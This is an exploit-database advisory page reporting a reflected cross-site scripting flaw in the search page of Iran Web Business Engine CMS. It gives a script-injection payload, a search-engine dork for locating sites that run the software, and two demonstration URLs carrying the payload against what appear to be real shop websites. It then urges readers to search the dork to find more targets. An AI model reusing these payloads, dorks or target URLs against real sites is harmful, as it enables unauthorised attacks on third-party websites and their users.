Iran Web Business Engine CMS CS Cross Site Scripting (XSS)

2016.04.25
Credit: 0x3a
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

/===================================================================== Exploit Title : Iran Web Business Engine CMS CS Cross Site Scripting (XSS) Exploit Author : Iran Cyber Security Group Discovered By : 0x3a Date : 16 April , 2016 Vendor HomePage : www.iranweb.biz Version : 1.0 (Q1) Tested On : WinXP /===================================================================== [+]Cross Site Scripting (XSS) : Payload : "><script>alert("XSS VulnerabiliT By 0x3a")</script> Dork : intext:Powered by Iran Web Business Engine Demo : 1) www.shop.navitel.ir/search.asp?q="><script>alert("XSS VulnerabiliT By 0x3a")</script> 2) www.soleusshop.ir/search.asp?q="><script>alert("XSS VulnerabiliT By 0x3a")</script> Search The Dork To Find More Target [+][+][+][+][+][+][+][+] [+]WWW.IRAN-CYBER.NET[+] [+][+][+][+][+][+][+][+]


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top